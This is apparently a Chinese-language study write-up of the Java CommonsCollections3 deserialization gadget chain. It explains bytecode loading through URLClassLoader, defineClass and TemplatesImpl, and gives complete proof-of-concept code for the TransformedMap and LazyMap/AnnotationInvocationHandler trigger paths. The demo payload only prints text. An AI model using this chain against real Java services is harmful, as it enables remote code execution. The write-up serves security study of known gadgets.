CommonsCollections3
字节码
严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在
.class文件中。
URLClassLoader加载字节码
Java的
ClassLoader是用来加载字节码文件的最基础的方法
正常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,而这个基础路径有三种情况:
- URL未以
/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件 - URL以
/结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件 URL以
/结尾,且协议名不是file,则使用最基础的Loader来寻找类本地编译一个
Hello类,然后通过HTTP协议远程加载 ```java package com.naraku.sec.bytecode;
import java.net.URL; import java.net.URLClassLoader;
public class HelloClassLoader { public static void main(String[] args) throws Exception { URL[] urls = { new URL(“http://localhost:9999/“) }; URLClassLoader loader = URLClassLoader.newInstance(urls); Class clazz = loader.loadClass(“Hello”); clazz.newInstance(); } }
<a name="Y9TBL"></a>### defineClass加载字节码不管是加载远程class文件,还是本地class或jar文件,Java都经历的是下面这三个方法调用:<br />`ClassLoader#loadClass > ClassLoader#findClass > ClassLoader#defineClass`其中:- `loadClass`的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行`findClass`- `findClass`的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给`defineClass`- `defineClass`的作用是处理前面传入的字节码,将其处理成真正的Java类所以可见,真正核心的部分其实是`defineClass`,它决定了如何将一段字节流转变成一个Java类,Java默认的`ClassLoader#defineClass`是一个`native`方法。<a name="A4aMB"></a>#### LoaderClass- 先把前面的`Hello.java`编译成`Hello.class`,然后将该class文件进行加载```javapackage com.naraku.sec.bytecode;import java.io.ByteArrayOutputStream;import java.io.FileInputStream;public class LoaderClass {public static byte[] load(String path) {FileInputStream fis = null;ByteArrayOutputStream baos = null;try {fis = new FileInputStream(path);baos = new ByteArrayOutputStream();byte[] buffer = new byte[1024];int len = -1;while ((len = fis.read(buffer)) != -1) {baos.write(buffer, 0, len);baos.flush();}return baos.toByteArray();}catch (Exception e) {e.printStackTrace();}finally {if (fis != null) {try { fis.close(); }catch (Exception e) { e.printStackTrace(); }}if (baos != null) {try { baos.close(); }catch (Exception e) { e.printStackTrace(); }}}return null;}}
加载字节码
package com.naraku.sec.bytecode;import java.lang.reflect.Method;public class HelloDefineClass {public static void main(String[] args) throws Exception {Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);defineClass.setAccessible(true);byte[] code = LoaderClass.load("src/main/java/Hello.class");Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), code, 0, code.length);hello.newInstance();}}
注意一点,在defineClass被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。
而且,即使我们将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。所以,如果我们要使用defineClass在目标机器上执行任意代码,需要想办法调用构造函数。
因为系统的ClassLoader#defineClass是一个保护属性,所以我们无法直接在外部访问,不得不使用反射的形式来调用。在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它
TemplatesImpl加载字节码
虽然大部分上层开发者不会直接使用到
defineClass方法,但是Java底层还是有一些类用到了它,这就是TemplatesImpl,defineClass是攻击链TemplatesImpl的基石。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类定义了一个内部类TransletClassLoader。其中重写了defineClass方法,并且没有显示声明定义域,因此定义域默认为default。也就是说这里的defineClass由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。
static final class TransletClassLoader extends ClassLoader {private final Map<String,Class> _loadedExternalExtensionFunctions;TransletClassLoader(ClassLoader parent) {super(parent);_loadedExternalExtensionFunctions = null;}TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {super(parent);_loadedExternalExtensionFunctions = mapEF;}public Class<?> loadClass(String name) throws ClassNotFoundException {Class<?> ret = null;// The _loadedExternalExtensionFunctions will be empty when the// SecurityManager is not set and the FSP is turned offif (_loadedExternalExtensionFunctions != null) {ret = _loadedExternalExtensionFunctions.get(name);}if (ret == null) {ret = super.loadClass(name);}return ret;}/*** Access to final protected superclass member from outer class.*/Class defineClass(final byte[] b) {return defineClass(null, b, 0, b.length);}}
从defineClass()这里往前追溯,调用路径为:
TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()TemplatesImpl#getTransletInstance()TemplatesImpl#defineTransletClasses()TransletClassLoader#defineClass()
最前面两个方法TemplatesImpl#getOutputProperties()、TemplatesImpl#newTransformer()作用域是public,可以被外部调用。
defineTransletClasses
TemplatesImpl#defineTransletClasses()
- 当
_bytecodes == null时会抛出异常,因此需要使_bytecodes不为空 - 然后在
AccessController.doPrivileged()方法中,TransletClassLoader()需要传递参数_tfactory.getExternalExtensionsMap(),因此_tfactory也不能为空
private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(), _tfactory.getExternalExtensionsMap());}});try {final int classCount = _bytecodes.length;_class = new Class[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}}
在try{}代码块中:
- 首先会用
loader遍历加载字节码数组并获取对应的Class对象:loader.defineClass(_bytecodes[i]) - 然后逐个获取
Class对象的父类:_class[i].getSuperclass() - 最后判断父类名是否为
AbstractTranslet
所以这段逻辑主要做权限校验,作用是判断通过字节码加载的类是否为AbstractTranslet的子类
另外在上面的逻辑中,当父类名不为AbstractTranslet时,就会向_auxClasses传值:_auxClasses.put(_class[i].getName(), _class[i])
而在TemplatesImpl#writeObject()方法中,当_auxClasses != null时会抛出异常,即_auxClasses不为空时不能进行序列化
private void writeObject(ObjectOutputStream os)throws IOException, ClassNotFoundException {if (_auxClasses != null) {//throw with the same message as when Hashtable was used for compatibility.throw new NotSerializableException("com.sun.org.apache.xalan.internal.xsltc.runtime.Hashtable");}// Write serialized fieldsObjectOutputStream.PutField pf = os.putFields();pf.put("_name", _name);pf.put("_bytecodes", _bytecodes);pf.put("_class", _class);pf.put("_transletIndex", _transletIndex);pf.put("_outputProperties", _outputProperties);pf.put("_indentNumber", _indentNumber);os.writeFields();if (_uriResolver instanceof Serializable) {os.writeBoolean(true);os.writeObject((Serializable) _uriResolver);}else {os.writeBoolean(false);}}
getTransletInstance
TemplatesImpl#getTransletInstance()
- 当
_name == null时将返回,因此需要设置_name的值,使其不为空 另外这个调用了
newInstance()实例化了一个AbstractTranslet类对象,触发恶意代码(可以在静态代码块,代码块和构造代码块三个位置)private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet)_class[_transletIndex].getConstructor().newInstance();translet.postInitialization();translet.setTemplates(this);translet.setOverrideDefaultParser(_overrideDefaultParser);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {translet.setAuxiliaryClasses(_auxClasses);}return translet;}catch (InstantiationException | IllegalAccessException |NoSuchMethodException | InvocationTargetException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString(), e);}}
构造字节码
根据前面的分析,加载的字节码需要继承自
AbstractTranslet编写一个
HelloTemplatesImpl类并继承自AbstractTranslet,快捷键Option+回车并选择Implement methods,最后再实现其它代码


import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class HelloTemplatesImpl extends AbstractTranslet {static {System.out.println("Static");}{System.out.println("Code");}public HelloTemplatesImpl() {super();System.out.println("Constructor");}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}}
构造POC
尝试用
newTransformer()构造一个简单的POC,需要注意以下几点
根据前面的分析,构造的POC需要设置_name/_bytecodes/_tfactory三个属性,使其不为空。但是应该设置什么值呢?其实可以通过TemplatesImpl类中的注释知道这几个属性的类型和作用:
_name为Class对象名,类型为String_bytecodes为字节码,类型为byte[][]_tfactory类型为TransformerFactoryImpl

- POC代码如下: ```java package com.naraku.sec.bytecode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
public class HelloTempLoader {
public static void main(String[] args) throws Exception { // 加载字节码 byte[] code = LoaderClass.load(“src/main/java/HelloTemplatesImpl.class”);
TemplatesImpl temp = new TemplatesImpl();// 设置属性Field name = temp.getClass().getDeclaredField("_name");name.setAccessible(true);name.set(temp, "HelloTemplatesImpl");Field bytecode = temp.getClass().getDeclaredField("_bytecodes");bytecode.setAccessible(true);bytecode.set(temp, new byte[][]{code});Field tfactory = temp.getClass().getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(temp, new TransformerFactoryImpl());temp.newTransformer();
} }
<a name="pL498"></a>## TemplatesImpl到CC3- 这里创建一个`CommonCollections3`类,利用`Transformer`和`TransformedMap`触发```javaimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CommonCollections3 {public static void main(String[] args) throws Exception{// 加载字节码byte[] code = LoaderClass.load("src/main/java/HelloTemplatesImpl.class");TemplatesImpl temp = new TemplatesImpl();// 设置属性Field name = temp.getClass().getDeclaredField("_name");name.setAccessible(true);name.set(temp, "HelloTemplatesImpl");Field bytecode = temp.getClass().getDeclaredField("_bytecodes");bytecode.setAccessible(true);bytecode.set(temp, new byte[][]{code});Field tfactory = temp.getClass().getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(temp, new TransformerFactoryImpl());// temp.newTransformer();Transformer[] transformers = new Transformer[] {new ConstantTransformer(temp),new InvokerTransformer("newTransformer", null, null)};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.put("test", "xxxx");}}
CC3
将ysoserial工具中的CommonCollections3与CommonCollections1进行对比,发现多了三个新的类:TemplatesImpl、InstantiateTransformer和TrAXFilter
InstantiateTransformer
InstantiateTransformer:通过反射创建新对象实例
TrAXFilter
TrAXFilter:实例化时构造函数会调用TransformerImpl的newTransformer方法,这也就免去了通过手工调用InvokerTransformer.newTransformer() ⽅法这⼀步
为何CC3不用
InvokerTransformer: 当反序列化ysoserial工具出现后,有攻就有防,SerialKiller⼯具随之诞⽣。 SerialKiller是⼀个Java反序列化过滤器,可以通过⿊⽩名单的⽅式来限制反序列化时允许通过的类,在其第⼀个版本中,InvokerTransformer赫然在列,也就切断了CommonsCollections1的利⽤链。 ysoserial随后增加了不少新的Gadgets,其中就包括CommonsCollections3。
构造POC
- 模仿CC1,通过
LazyMap和Proxy触发漏洞,需Java 8u71以下 ```java import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class CommonCollections3 { public static void main(String[] args) throws Exception{ // 加载字节码 byte[] code = LoaderClass.load(“src/main/java/HelloTemplatesImpl.class”);
TemplatesImpl temp = new TemplatesImpl();// 设置属性Field name = temp.getClass().getDeclaredField("_name");name.setAccessible(true);name.set(temp, "HelloTemplatesImpl");Field bytecode = temp.getClass().getDeclaredField("_bytecodes");bytecode.setAccessible(true);bytecode.set(temp, new byte[][]{code});Field tfactory = temp.getClass().getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(temp, new TransformerFactoryImpl());// temp.newTransformer();Transformer[] transformers = new Transformer[] {new ConstantTransformer(temp),new InvokerTransformer("newTransformer", null, null)};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();// 直接触发// Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// outerMap.put("test", "xxx");// LazyMap+Proxy触发Map outerMap = LazyMap.decorate(innerMap, transformerChain);// 获取AnnotationInvocationHandler的构造函数Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);// 利用构造函数实例化,创建与outerMap关联的InvocationHandlerInvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);// 实例化代理对象Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);// 使用InvocationHandler对proxyMap重新包裹handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);// SerializationByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(handler);// System.out.println(baos);// DeserializationByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);ois.readObject();ois.close();bais.close();oos.close();baos.close();
}
}
```

